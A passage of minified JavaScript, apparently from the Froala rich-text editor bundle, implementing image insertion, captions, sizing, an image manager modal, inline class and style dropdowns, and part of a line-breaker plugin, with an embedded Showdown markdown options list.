e=w.$tb.find('.fr-command[data-cmd="insertImage"]'),t=w.popups.get("image.insert");if(t||(t=j()),M(),!t.hasClass("fr-active"))if(w.popups.refresh("image.insert"),w.popups.setContainer("image.insert",w.$tb),e.isVisible()){var a=w.button.getPosition(e),n=a.left,r=a.top;w.popups.show("image.insert",n,r,e.outerHeight())}else w.position.forSelection(t),w.popups.show("image.insert")},showLayer:function Se(e){var t,a,n=w.popups.get("image.insert");if(y||w.opts.toolbarInline){if(y){var r=ye(),i=0;Ae()&&(r=r.find(".fr-img-wrap"),i=y.outerWidth()/2),a=r.offset().top+r.outerHeight(),t=r.offset().left+i}}else{var o=w.$tb.find('.fr-command[data-cmd="insertImage"]');t=o.offset().left,a=o.offset().top+(w.opts.toolbarBottom?10:o.outerHeight()-10)}!y&&w.opts.toolbarInline&&(a=n.offset().top-w.helpers.getPX(n.css("margin-top")),n.hasClass("fr-above")&&(a+=n.outerHeight())),n.find(".fr-layer").removeClass("fr-active"),n.find(".fr-".concat(e,"-layer")).addClass("fr-active"),w.popups.show("image.insert",t,a,y?y.outerHeight():0,Ae()),w.accessibility.focusPopup(n)},refreshUploadButton:function Re(e){var t=w.popups.get("image.insert");t&&t.find(".fr-image-upload-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},refreshByURLButton:function Le(e){var t=w.popups.get("image.insert");t&&t.find(".fr-image-by-url-layer").hasClass("fr-active")&&e.addClass("fr-active").attr("aria-pressed",!0)},upload:G,insertByURL:function xe(){var e=w.popups.get("image.insert").find(".fr-image-by-url-layer input");if(0<e.val().length){F(),D(w.language.translate("Loading image"));var t=e.val().trim();if(w.opts.imageUploadRemoteUrls&&w.opts.imageCORSProxy&&w.opts.imageUpload){var a=new XMLHttpRequest;a.onload=function(){200==this.status?G([new Blob([this.response],{type:this.response.type||"image/png"})],y):I(n)},a.onerror=function(){U(t,!0,[],y)},a.open("GET","".concat(w.opts.imageCORSProxy,"/").concat(t),!0),a.responseType="blob",a.send()}else U(t,!0,[],y);e.val(""),e.blur()}},align:function Ie(e){var t=ye();t.removeClass("fr-fir fr-fil"),!w.opts.htmlUntouched&&w.opts.useClasses?"left"==e?t.addClass("fr-fil"):"right"==e&&t.addClass("fr-fir"):me(t,be(),e),_e(),S(),i(),w.selection.clear()},refreshAlign:function Oe(e){y&&e.find("> *").first().replaceWith(w.icon.create("image-align-".concat(ve())))},refreshAlignOnShow:function Fe(e,t){y&&t.find('.fr-command[data-param1="'.concat(ve(),'"]')).addClass("fr-active").attr("aria-selected",!0)},display:function Me(e){var t=ye();t.removeClass("fr-dii fr-dib"),!w.opts.htmlUntouched&&w.opts.useClasses?"inline"==e?t.addClass("fr-dii"):"block"==e&&t.addClass("fr-dib"):me(t,e,ve()),_e(),S(),i(),w.selection.clear()},refreshDisplayOnShow:function De(e,t){y&&t.find('.fr-command[data-param1="'.concat(be(),'"]')).addClass("fr-active").attr("aria-selected",!0)},replace:Ee,back:function e(){y?(w.events.disableBlur(),A(".fr-popup input:focus").blur(),P(y)):(w.events.disableBlur(),w.selection.restore(),w.events.enableBlur(),w.popups.hide("image.insert"),w.toolbar.showInline())},get:we,getEl:ye,insert:U,showProgressBar:F,remove:ae,hideProgressBar:M,applyStyle:function Ne(e,t,a){if(void 0===t&&(t=w.opts.imageStyles),void 0===a&&(a=w.opts.imageMultipleStyles),!y)return!1;var n=ye();if(!a){var r=Object.keys(t);r.splice(r.indexOf(e),1),n.removeClass(r.join(" "))}"object"==Rt(t[e])?(n.removeAttr("style"),n.css(t[e].style)):(n.toggleClass(e),Ae()&&y.hasClass(e)&&y.removeClass(e)),P(y)},showAltPopup:X,showSizePopup:J,setAlt:function Pe(e){if(y){var t=w.popups.get("image.alt");y.attr("alt",e||t.find("input").val()||""),t.find("input:focus").blur(),P(y)}},setSize:function Be(e,t){if(y){var a=w.popups.get("image.size");e=e||a.find('input[name="width"]').val()||"",t=t||a.find('input[name="height"]').val()||"";var n=/^[\d]+((px)|%)*$/g;y.removeAttr("width").removeAttr("height"),e.match(n)?y.css("width",e):y.css("width",""),t.match(n)?y.css("height",t):y.css("height",""),Ae()&&(y.parents(".fr-img-caption").removeAttr("width").removeAttr("height"),e.match(n)?y.parents(".fr-img-caption").css("width",e):y.parents(".fr-img-caption").css("width",""),t.match(n)?y.parents(".fr-img-caption").css("height",t):y.parents(".fr-img-caption").css("height","")),a&&a.find("input:focus").blur(),P(y)}},toggleCaption:function Ue(){var e;if(y&&!Ae()){(e=y).parent().is("a")&&(e=y.parent());var t,a,n=y.parents("ul")&&0<y.parents("ul").length?y.parents("ul"):y.parents("ol")&&0<y.parents("ol").length?y.parents("ol"):[];if(0<n.length){var r=n.find("li").length,i=y.parents("li"),o=document.createElement("li");r-1===i.index()&&(n.append(o),o.innerHTML=" ")}e.attr("style")?a=-1<(t=e.attr("style").split(":")).indexOf("width")?t[t.indexOf("width")+1].replace(";",""):"":e.attr("width")&&(a=e.attr("width"));var s=w.opts.imageResizeWithPercent?(-1<a.indexOf("px")?null:a)||"100%":y.width()+"px";e.wrap('<div class="fr-img-space-wrap"><span '+(w.browser.mozilla?"":'contenteditable="false"')+'class="fr-img-caption '+y.attr("class")+'" style="'+(w.opts.useClasses?"":e.attr("style"))+'" draggable="false"></span></div>'),e.wrap('<span class="fr-img-wrap"></span>'),y.after('<span class="fr-inner"'.concat(w.browser.mozilla?"":' contenteditable="true"',">").concat(St.START_MARKER).concat(w.language.translate("Image Caption")).concat(St.END_MARKER,"</span>")),y.parents(".fr-img-caption").css("width",s);var l=y.parents(".fr-img-space-wrap").length;1==l?Ce(document.querySelector(".fr-img-space-wrap")):1<l&&(Ce(document.querySelector(".fr-img-space-wrap")),Ce(document.querySelector(".fr-img-space-wrap2"))),pe(!0),w.selection.restore()}else{if(e=ye(),y.insertBefore(e),null!==e[0].querySelector("a")){for(var c,d=e[0].querySelector("a"),f=document.createElement("a"),p=0,u=d.attributes,g=u.length;p<g;p++)c=u[p],f.setAttribute(c.nodeName,c.nodeValue);y.wrap(f)}y.attr("class",e.attr("class").replace("fr-img-caption","")).attr("style",e.attr("style")),e.remove();var h=y.parents(".fr-img-space-wrap").length;1==h?Ce(document.querySelector(".fr-img-space-wrap")):1<h&&(Ce(document.querySelector(".fr-img-space-wrap")),Ce(document.querySelector(".fr-img-space-wrap2"))),P(y)}},hasCaption:Ae,exitEdit:pe,edit:P}},St.DefineIcon("insertImage",{NAME:"image",SVG_KEY:"insertImage"}),St.RegisterShortcut(St.KEYCODE.P,"insertImage",null,"P"),St.RegisterCommand("insertImage",{title:"Insert Image",undo:!1,focus:!0,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("image.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("image.insert")):this.image.showInsertPopup()},plugin:"image"}),St.DefineIcon("imageUpload",{NAME:"upload",SVG_KEY:"upload"}),St.RegisterCommand("imageUpload",{title:"Upload Image",undo:!1,focus:!1,toggle:!0,callback:function(){this.image.showLayer("image-upload")},refresh:function(e){this.image.refreshUploadButton(e)}}),St.DefineIcon("imageByURL",{NAME:"link",SVG_KEY:"insertLink"}),St.RegisterCommand("imageByURL",{title:"By URL",undo:!1,focus:!1,toggle:!0,callback:function(){this.image.showLayer("image-by-url")},refresh:function(e){this.image.refreshByURLButton(e)}}),St.RegisterCommand("imageInsertByURL",{title:"Insert Image",undo:!0,refreshAfterCallback:!1,callback:function(){this.image.insertByURL()},refresh:function(e){this.image.get()?e.text(this.language.translate("Replace")):e.text(this.language.translate("Insert"))}}),St.DefineIcon("imageDisplay",{NAME:"star",SVG_KEY:"imageDisplay"}),St.RegisterCommand("imageDisplay",{title:"Display",type:"dropdown",options:{inline:"Inline",block:"Break Text"},callback:function(e,t){this.image.display(t)},refresh:function(e){this.opts.imageTextNear||e.addClass("fr-hidden")},refreshOnShow:function(e,t){this.image.refreshDisplayOnShow(e,t)}}),St.DefineIcon("image-align",{NAME:"align-left",SVG_KEY:"alignLeft"}),St.DefineIcon("image-align-left",{NAME:"align-left",SVG_KEY:"alignLeft"}),St.DefineIcon("image-align-right",{NAME:"align-right",SVG_KEY:"alignRight"}),St.DefineIcon("image-align-center",{NAME:"align-justify",SVG_KEY:"alignCenter"}),St.DefineIcon("imageAlign",{NAME:"align-justify",SVG_KEY:"alignJustify"}),St.RegisterCommand("imageAlign",{type:"dropdown",title:"Align",options:{left:"Align Left",center:"None",right:"Align Right"},html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=St.COMMANDS.imageAlign.options;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command fr-title" tabIndex="-1" role="option" data-cmd="imageAlign" data-param1="'.concat(a,'" title="').concat(this.language.translate(t[a]),'">').concat(this.icon.create("image-align-".concat(a)),'<span class="fr-sr-only">').concat(this.language.translate(t[a]),"</span></a></li>"));return e+="</ul>"},callback:function(e,t){this.image.align(t)},refresh:function(e){this.image.refreshAlign(e)},refreshOnShow:function(e,t){this.image.refreshAlignOnShow(e,t)}}),St.DefineIcon("imageReplace",{NAME:"exchange",FA5NAME:"exchange-alt",SVG_KEY:"replaceImage"}),St.RegisterCommand("imageReplace",{title:"Replace",undo:!1,focus:!1,popup:!0,refreshAfterCallback:!1,callback:function(){this.image.replace()}}),St.DefineIcon("imageRemove",{NAME:"trash",SVG_KEY:"remove"}),St.RegisterCommand("imageRemove",{title:"Remove",callback:function(){this.image.remove()}}),St.DefineIcon("imageBack",{NAME:"arrow-left",SVG_KEY:"back"}),St.RegisterCommand("imageBack",{title:"Back",undo:!1,focus:!1,back:!0,callback:function(){this.image.back()},refresh:function(e){this.$;this.image.get()||this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next(".fr-separator").removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next(".fr-separator").addClass("fr-hidden"))}}),St.RegisterCommand("imageDismissError",{title:"OK",undo:!1,callback:function(){this.image.hideProgressBar(!0)}}),St.DefineIcon("imageStyle",{NAME:"magic",SVG_KEY:"imageClass"}),St.RegisterCommand("imageStyle",{title:"Style",type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.imageStyles;for(var a in t)if(t.hasOwnProperty(a)){var n=t[a];"object"==Rt(n)&&(n=n.title),e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="imageStyle" data-param1="'.concat(a,'">').concat(this.language.translate(n),"</a></li>")}return e+="</ul>"},callback:function(e,t){this.image.applyStyle(t)},refreshOnShow:function(e,t){var a=this.$,n=this.image.getEl();n&&t.find(".fr-command").each(function(){var e=a(this).data("param1"),t=n.hasClass(e);a(this).toggleClass("fr-active",t).attr("aria-selected",t)})}}),St.DefineIcon("imageAlt",{NAME:"info",SVG_KEY:"imageAltText"}),St.RegisterCommand("imageAlt",{undo:!1,focus:!1,popup:!0,title:"Alternative Text",callback:function(){this.image.showAltPopup()}}),St.RegisterCommand("imageSetAlt",{undo:!0,focus:!1,title:"Update",refreshAfterCallback:!1,callback:function(){this.image.setAlt()}}),St.DefineIcon("imageSize",{NAME:"arrows-alt",SVG_KEY:"imageSize"}),St.RegisterCommand("imageSize",{undo:!1,focus:!1,popup:!0,title:"Change Size",callback:function(){this.image.showSizePopup()}}),St.RegisterCommand("imageSetSize",{undo:!0,focus:!1,title:"Update",refreshAfterCallback:!1,callback:function(){this.image.setSize()}}),St.DefineIcon("imageCaption",{NAME:"commenting",FA5NAME:"comment-alt",SVG_KEY:"imageCaption"}),St.RegisterCommand("imageCaption",{undo:!0,focus:!1,title:"Image Caption",refreshAfterCallback:!0,callback:function(){this.image.toggleCaption()},refresh:function(e){this.image.get()&&e.toggleClass("fr-active",this.image.hasCaption())}}),Object.assign(St.DEFAULTS,{imageManagerLoadURL:"https://i.froala.com/load-files",imageManagerLoadMethod:"get",imageManagerLoadParams:{},imageManagerPreloader:null,imageManagerDeleteURL:"",imageManagerDeleteMethod:"post",imageManagerDeleteParams:{},imageManagerPageSize:12,imageManagerScrollOffset:20,imageManagerToggleTags:!0}),St.PLUGINS.imageManager=function(s){var l,c,i,o,d,f,p,u,g,h,m,v=s.$,b="image_manager",e=10,E=11,_=12,w=13,y=14,A=15,a=21,n=22,r={};function C(){var e=v(window).outerWidth();return e<768?2:e<1200?3:4}function T(){d.empty();for(var e=0;e<m;e++)d.append('<div class="fr-list-column"></div>')}function k(){if(g<p.length&&i[0].scrollTop>=i[0].scrollHeight-s.opts.imageManagerScrollOffset-i.outerHeight()){u++;for(var e=s.opts.imageManagerPageSize*(u-1);e<Math.min(p.length,s.opts.imageManagerPageSize*u);e++)t(p[e])}}function t(r){var i=new Image,o=v(document.createElement("div")).attr("class","fr-image-container fr-empty fr-image-"+h++).attr("data-loading",s.language.translate("Loading")+"..").attr("data-deleting",s.language.translate("Deleting")+"..");x(!1),i.onload=function(){o.height(Math.floor(o.width()/i.width*i.height));var a=v(document.createElement("img"));if(r.thumb)a.attr("src",r.thumb);else{if(M(y,r),!r.url)return M(A,r),!1;a.attr("src",r.url)}if(r.url&&a.attr("data-url",r.url),r.tag)if(c.find(".fr-modal-more.fr-not-available").removeClass("fr-not-available"),c.find(".fr-modal-tags").show(),0<=r.tag.indexOf(",")){for(var e=r.tag.split(","),t=0;t<e.length;t++)e[t]=e[t].trim(),0===f.find('a[title="'.concat(e[t],'"]')).length&&f.append('<a role="button" title="'.concat(e[t],'">').concat(e[t],"</a>"));a.attr("data-tag",e.join())}else 0===f.find('a[title="'.concat(r.tag.trim(),'"]')).length&&f.append('<a role="button" title="'.concat(r.tag.trim(),'">').concat(r.tag.trim(),"</a>")),a.attr("data-tag",r.tag.trim());for(var n in r.name&&a.attr("alt",r.name),r)r.hasOwnProperty(n)&&"thumb"!==n&&"url"!==n&&"tag"!==n&&a.attr("data-".concat(n),r[n]);o.append(a).append(v(s.icon.create("imageManagerDelete")).addClass("fr-delete-img").attr("title",s.language.translate("Delete"))).append(v(s.icon.create("imageManagerInsert")).addClass("fr-insert-img").attr("title",s.language.translate("Insert"))),f.find(".fr-selected-tag").each(function(e,t){B(a,t.text)||o.hide()}),a.on("load",function(){o.removeClass("fr-empty"),o.height("auto"),g++,L(R(parseInt(a.parent().attr("class").match(/fr-image-(\d+)/)[1],10)+1)),x(!1),g%s.opts.imageManagerPageSize==0&&k()}),s.events.trigger("imageManager.imageLoaded",[a])},i.onerror=function(){g++,o.remove(),L(R(parseInt(o.attr("class").match(/fr-image-(\d+)/)[1],10)+1)),M(e,r),g%s.opts.imageManagerPageSize==0&&k()},i.src=r.thumb||r.url,S().append(o)}function S(){var n,r;return d.find(".fr-list-column").each(function(e,t){var a=v(t);0===e?(r=a.outerHeight(),n=a):a.outerHeight()<r&&(r=a.outerHeight(),n=a)}),n}function R(e){e===undefined&&(e=0);for(var t=[],a=h-1;e<=a;a--){var n=d.find(".fr-image-".concat(a));n.length&&(t.push(n),v(document.createElement("div")).attr("id","fr-image-hidden-container").append(n),d.find(".fr-image-".concat(a)).remove())}return t}function L(e){for(var t=e.length-1;0<=t;t--)S().append(e[t])}function x(e){if(e===undefined&&(e=!0),!l.isVisible())return!0;var t=C();if(t!==m){m=t;var a=R();T(),L(a)}s.modals.resize(b),e&&k()}function I(e){for(var t,a=e[0].attributes,n=a.length,r={};n--;)a[n]&&"src"!==(t=a[n].name)&&(r[t]=a[n].value);return r}function O(e){var t=v(e.currentTarget).siblings("img"),a=l.data("instance")||s,n=l.data("current-image");if(s.modals.hide(b),a.image.showProgressBar(),n)n.data("fr-old-src",n.attr("src")),n.trigger("click");else{a.events.focus(!0),a.selection.restore();var r=a.position.getBoundingRect(),i=r.left+r.width/2+v(s.doc).scrollLeft(),o=r.top+r.height+v(s.doc).scrollTop();a.popups.setContainer("image.insert",s.$sc),a.popups.show("image.insert",i,o)}a.image.insert(t.data("url"),!1,I(t),n)}function F(e){var i=v(e.currentTarget).siblings("img"),t=s.language.translate("Are you sure? Image will be deleted.");confirm(t)&&(s.opts.imageManagerDeleteURL?!1!==s.events.trigger("imageManager.beforeDeleteImage",[i])&&(i.parent().addClass("fr-image-deleting"),v(this).ajax({method:s.opts.imageManagerDeleteMethod,url:s.opts.imageManagerDeleteURL,data:Object.assign(Object.assign({src:i.attr("src")},I(i)),s.opts.imageManagerDeleteParams),crossDomain:s.opts.requestWithCORS,withCredentials:s.opts.requestWithCredentials,headers:s.opts.requestHeaders,done:function(e,t,a){s.events.trigger("imageManager.imageDeleted",[e]);var n=R(parseInt(i.parent().attr("class").match(/fr-image-(\d+)/)[1],10)+1);i.parent().remove(),L(n),function r(){l.find("#fr-modal-tags > a").each(function(){0===l.find('#fr-image-list [data-tag*="'.concat(v(this).text(),'"]')).length&&v(this).removeClass("fr-selected-tag").hide()}),N()}(),x(!0)},fail:function(e){M(a,e.response||e.responseText)}})):M(n))}function M(e,t){10<=e&&e<20?o.hide():20<=e&&e<30&&v(".fr-image-deleting").removeClass("fr-image-deleting"),s.events.trigger("imageManager.error",[{code:e,message:r[e]},t])}function D(){var e=c.find(".fr-modal-head-line").outerHeight(),t=f.outerHeight();c.toggleClass("fr-show-tags"),c.hasClass("fr-show-tags")?(c.css("height",e+t),i.css("marginTop",e+t),f.find("a").css("opacity",1)):(c.css("height",e),i.css("marginTop",e),f.find("a").css("opacity",0))}function N(){var e=f.find(".fr-selected-tag");0<e.length?(d.find("img").parents().show(),e.each(function(e,n){d.find("img").each(function(e,t){var a=v(t);B(a,n.text)||a.parent().hide()})})):d.find("img").parents().show(),L(R()),k()}function P(e){e.preventDefault();var t=v(e.currentTarget);t.toggleClass("fr-selected-tag"),s.opts.imageManagerToggleTags&&t.siblings("a").removeClass("fr-selected-tag"),N()}function B(e,t){for(var a=(e.attr("data-tag")||"").split(","),n=0;n<a.length;n++)if(a[n]===t)return!0;return!1}return r[e]="Image cannot be loaded from the passed link.",r[E]="Error during load images request.",r[_]="Missing imageManagerLoadURL option.",r[w]="Parsing load response failed.",r[y]="Missing image thumb.",r[A]="Missing image URL.",r[a]="Error during delete image request.",r[n]="Missing imageManagerDeleteURL option.",{require:["image"],_init:function U(){if(!s.$wp&&"IMG"!==s.el.tagName)return!1},show:function H(){if(!l){var e,t='<button class="fr-command fr-btn fr-modal-more fr-not-available" id="fr-modal-more-'.concat(s.sid,'"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24""><path d="').concat(St.SVG.tags,'"/></svg></button><h4 data-text="true">').concat(s.language.translate("Manage Images"),'</h4></div>\n <div class="fr-modal-tags" id="fr-modal-tags">');e=s.opts.imageManagerPreloader?'<img class="fr-preloader" id="fr-preloader" alt="'.concat(s.language.translate("Loading"),'.." src="').concat(s.opts.imageManagerPreloader,'" style="display: none;">'):'<span class="fr-preloader" id="fr-preloader" style="display: none;">'.concat(s.language.translate("Loading"),"</span>"),e+='<div class="fr-image-list" id="fr-image-list"></div>';var a=s.modals.create(b,t,e);l=a.$modal,c=a.$head,i=a.$body}l.data("current-image",s.image.get()),s.modals.show(b),o||function n(){o=l.find("#fr-preloader"),d=l.find("#fr-image-list"),f=l.find("#fr-modal-tags"),m=C(),T(),c.css("height",c.find(".fr-modal-head-line").outerHeight()),s.events.$on(v(s.o_win),"resize",function(){x(!!p)}),s.events.bindClick(d,".fr-insert-img",O),s.events.bindClick(d,".fr-delete-img",F),s.helpers.isMobile()&&(s.events.bindClick(d,"div.fr-image-container",function(e){l.find(".fr-mobile-selected").removeClass("fr-mobile-selected"),v(e.currentTarget).addClass("fr-mobile-selected")}),l.on(s._mousedown,function(){l.find(".fr-mobile-selected").removeClass("fr-mobile-selected")})),l.on(s._mousedown+" "+s._mouseup,function(e){e.stopPropagation()}),l.on(s._mousedown,"*",function(){s.events.disableBlur()}),i.on("scroll",k),s.events.bindClick(l,"button#fr-modal-more-".concat(s.sid),D),s.events.bindClick(f,"a",P)}(),function r(){o.show(),d.find(".fr-list-column").empty(),s.opts.imageManagerLoadURL?v(this).ajax({url:s.opts.imageManagerLoadURL,method:s.opts.imageManagerLoadMethod,data:s.opts.imageManagerLoadParams,crossDomain:s.opts.requestWithCORS,withCredentials:s.opts.requestWithCredentials,headers:s.opts.requestHeaders,done:function(e,t,a){s.events.trigger("imageManager.imagesLoaded",[e]),function n(e,t){try{d.find(".fr-list-column").empty(),h=g=u=0,p=JSON.parse(e),k()}catch(a){M(w,t)}}(e,a.response),o.hide()},fail:function(e){M(E,e.response||e.responseText)}}):M(_)}()},hide:function $(){s.modals.hide(b)}}},!St.PLUGINS.image)throw new Error("Image manager plugin requires image plugin.");function n(e){var t={omitExtraWLInCodeBlocks:{defaultValue:!1,describe:"Omit the default extra whiteline added to code blocks",type:"boolean"},noHeaderId:{defaultValue:!1,describe:"Turn on/off generated header id",type:"boolean"},prefixHeaderId:{defaultValue:!1,describe:"Add a prefix to the generated header ids. Passing a string will prefix that string to the header id. Setting to true will add a generic 'section-' prefix",type:"string"},rawPrefixHeaderId:{defaultValue:!1,describe:'Setting this option to true will prevent showdown from modifying the prefix. This might result in malformed IDs (if, for instance, the " char is used in the prefix)',type:"boolean"},ghCompatibleHeaderId:{defaultValue:!1,describe:"Generate header ids compatible with github style (spaces are replaced with dashes, a bunch of non alphanumeric chars are removed)",type:"boolean"},rawHeaderId:{defaultValue:!1,describe:"Remove only spaces, ' and \" from generated header ids (including prefixes), replacing them with dashes (-). WARNING: This might result in malformed ids",type:"boolean"},headerLevelStart:{defaultValue:!1,describe:"The header blocks level start",type:"integer"},parseImgDimensions:{defaultValue:!1,describe:"Turn on/off image dimension parsing",type:"boolean"},simplifiedAutoLink:{defaultValue:!1,describe:"Turn on/off GFM autolink style",type:"boolean"},excludeTrailingPunctuationFromURLs:{defaultValue:!1,describe:"Excludes trailing punctuation from links generated with autoLinking",type:"boolean"},literalMidWordUnderscores:{defaultValue:!1,describe:"Parse midword underscores as literal underscores",type:"boolean"},literalMidWordAsterisks:{defaultValue:!1,describe:"Parse midword asterisks as literal asterisks",type:"boolean"},strikethrough:{defaultValue:!1,describe:"Turn on/off strikethrough support",type:"boolean"},tables:{defaultValue:!1,describe:"Turn on/off tables support",type:"boolean"},tablesHeaderId:{defaultValue:!1,describe:"Add an id to table headers",type:"boolean"},ghCodeBlocks:{defaultValue:!0,describe:"Turn on/off GFM fenced code blocks support",type:"boolean"},tasklists:{defaultValue:!1,describe:"Turn on/off GFM tasklist support",type:"boolean"},smoothLivePreview:{defaultValue:!1,describe:"Prevents weird effects in live previews due to incomplete input",type:"boolean"},smartIndentationFix:{defaultValue:!1,description:"Tries to smartly fix indentation in es6 strings",type:"boolean"},disableForced4SpacesIndentedSublists:{defaultValue:!1,description:"Disables the requirement of indenting nested sublists by 4 spaces",type:"boolean"},simpleLineBreaks:{defaultValue:!1,description:"Parses simple line breaks as <br> (GFM Style)",type:"boolean"},requireSpaceBeforeHeadingText:{defaultValue:!1,description:"Makes adding a space between `#` and the header text mandatory (GFM Style)",type:"boolean"},ghMentions:{defaultValue:!1,description:"Enables github @mentions",type:"boolean"},ghMentionsLink:{defaultValue:"https://github.com/{u}",description:"Changes the link generated by @mentions. Only applies if ghMentions option is enabled.",type:"string"},encodeEmails:{defaultValue:!0,description:"Encode e-mail addresses through the use of Character Entities, transforming ASCII e-mail addresses into its equivalent decimal entities",type:"boolean"},openLinksInNewWindow:{defaultValue:!1,description:"Open all links in new windows",type:"boolean"},backslashEscapesHTMLTags:{defaultValue:!1,description:"Support for HTML Tag escaping. ex: <div>foo</div>",type:"boolean"},emoji:{defaultValue:!1,description:"Enable emoji support. Ex: `this is a :smile: emoji`",type:"boolean"},underline:{defaultValue:!1,description:"Enable support for underline. Syntax is double or triple underscores: `__underline word__`. With this option enabled, underscores no longer parses into `<em>` and `<strong>`",type:"boolean"},completeHTMLDocument:{defaultValue:!1,description:"Outputs a complete html document, including `<html>`, `<head>` and `<body>` tags",type:"boolean"},metadata:{defaultValue:!1,description:"Enable support for document metadata (defined at the top of the document between `\xab\xab\xab` and `\xbb\xbb\xbb` or between `---` and `---`).",type:"boolean"},splitAdjacentBlockquotes:{defaultValue:!1,description:"Split adjacent blockquote blocks",type:"boolean"}};if(!1===e)return JSON.parse(JSON.stringify(t));var a={};for(var n in t)t.hasOwnProperty(n)&&(a[n]=t[n].defaultValue);return a}St.DEFAULTS.imageInsertButtons.push("imageManager"),St.RegisterCommand("imageManager",{title:"Browse",undo:!1,focus:!1,modal:!0,callback:function(){this.imageManager.show()},plugin:"imageManager"}),St.DefineIcon("imageManager",{NAME:"folder",SVG_KEY:"imageManager"}),St.DefineIcon("imageManagerInsert",{NAME:"plus",SVG_KEY:"add"}),St.DefineIcon("imageManagerDelete",{NAME:"trash",SVG_KEY:"remove"}),Object.assign(St.DEFAULTS,{inlineClasses:{"fr-class-code":"Code","fr-class-highlighted":"Highlighted","fr-class-transparency":"Transparent"}}),St.PLUGINS.inlineClass=function(a){var n=a.$;return{apply:function t(e){a.format.toggle("span",{"class":e})},refreshOnShow:function r(e,t){t.find(".fr-command").each(function(){var e=n(this).data("param1"),t=a.format.is("span",{"class":e});n(this).toggleClass("fr-active",t).attr("aria-selected",t)})}}},St.RegisterCommand("inlineClass",{type:"dropdown",title:"Inline Class",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.inlineClasses;for(var a in t)t.hasOwnProperty(a)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="inlineClass" data-param1="'.concat(a,'" title="').concat(t[a],'">').concat(t[a],"</a></li>"));return e+="</ul>"},callback:function(e,t){this.inlineClass.apply(t)},refreshOnShow:function(e,t){this.inlineClass.refreshOnShow(e,t)},plugin:"inlineClass"}),St.DefineIcon("inlineClass",{NAME:"tag",SVG_KEY:"inlineClass"}),Object.assign(St.DEFAULTS,{inlineStyles:{"Big Red":"font-size: 20px; color: red;","Small Blue":"font-size: 14px; color: blue;"}}),St.PLUGINS.inlineStyle=function(r){return{apply:function i(e){for(var t=e.split(";"),a=0;a<t.length;a++){var n=t[a].split(":");t[a].length&&2==n.length&&r.format.applyStyle(n[0].trim(),n[1].trim())}}}},St.RegisterCommand("inlineStyle",{type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.inlineStyles;for(var a in t)if(t.hasOwnProperty(a)){var n=t[a]+(-1===t[a].indexOf("display:block;")?" display:block;":"");e+='<li role="presentation"><span style="'.concat(n,'" role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="inlineStyle" data-param1="').concat(t[a],'" title="').concat(this.language.translate(a),'">').concat(this.language.translate(a),"</a></span></li>")}return e+="</ul>"},title:"Inline Style",callback:function(e,t){this.inlineStyle.apply(t)},plugin:"inlineStyle"}),St.DefineIcon("inlineStyle",{NAME:"paint-brush",SVG_KEY:"inlineStyle"}),Object.assign(St.DEFAULTS,{lineBreakerTags:["table","hr","form","dl","span.fr-video",".fr-embedly","img"],lineBreakerOffset:15,lineBreakerHorizontalOffset:10}),St.PLUGINS.lineBreaker=function(g){var h,t,r,m=g.$;function l(e,t){var a,n,r,i,o,s,l,c;if(null==e)o=(i=t.parent()).offset().top,a=(l=t.offset().top)-Math.min((l-o)/2,g.opts.lineBreakerOffset),r=i.outerWidth(),n=i.offset().left;else if(null==t)(s=(i=e.parent()).offset().top+i.outerHeight())<(c=e.offset().top+e.outerHeight())&&(s=(i=m(i).parent()).offset().top+i.outerHeight()),a=c+Math.min(Math.abs(s-c)/2,g.opts.lineBreakerOffset),r=i.outerWidth(),n=i.offset().left;else{i=e.parent();var d=e.offset().top+e.height(),f=t.offset().top;if(f<d)return!1;a=(d+f)/2,r=i.outerWidth(),n=i.offset().left}if(g.opts.iframe){var p=g.helpers.getPX(g.$wp.find(".fr-iframe").css("padding-top")),u=g.helpers.getPX(g.$wp.find(".fr-iframe").css("padding-left"));n+=g.$iframe.offset().left-g.helpers.scrollLeft()+u,a+=g.$iframe.offset().top-g.helpers.scrollTop()+p}g.$box.append(h),h.css("top",a-g.win.pageYOffset),h.css("left",n-g.win.pageXOffset),h.css("width",r),h.data("tag1",e),h.data("tag2",t),h.addClass("fr-visible").data("instance",g)}function c(e){if(e){var t=m(e);if(0===g.$el.find(t).length)return null;if(e.nodeType!=Node.TEXT_NODE&&t.is(g.opts.lineBreakerTags.join(",")))return t;if(0<t.parents(g.opts.lineBreakerTags.join(",")).length)return e=t.parents(g.opts.lineBreakerTags.join(",")).get(0),0!==g.$el.find(m(e)).length&&m(e).is(g.opts.lineBreakerTags.join(","))?m(e):null}return null}function i(e,t){var a=g.doc.elementFromPoint(e,t);return a&&!m(a).closest(".fr-line-breaker").length&&!g.node.isElement(a)&&a!=g.$wp.get(0)&&function n(e){if("undefined"!=typeof e.inFroalaWrapper)return e.inFroalaWrapper;for(var t=e;e.parentNode&&e.parentNode!==g.$wp.get(0);)e=e.parentNode;return t.inFroalaWrapper=e.parentNode==g.$wp.get(0),t.inFroalaWrapper}(a)?a:null}function o(e,t,a){for(var n=a,r=null;n<=g.opts.lineBreakerOffset&&!r;)(r=i(e,t-n))||(r=i(e,t+n)),n+=a;return r}function d(e,t,a){for(var n=null,r=100;!n&&e>g.$box.offset().left&&e<g.$box.offset().left+g.$box.outerWidth()&&0<r;)(n=i(e,t))||(n=o(e,t,5)),"left"==a?e-=g.opts.lineBreakerHorizontalOffset:e+=g.opts.lineBreakerHorizontalOffset,r-=g.opts.lineBreakerHorizontalOffset;return n}function a(e){var 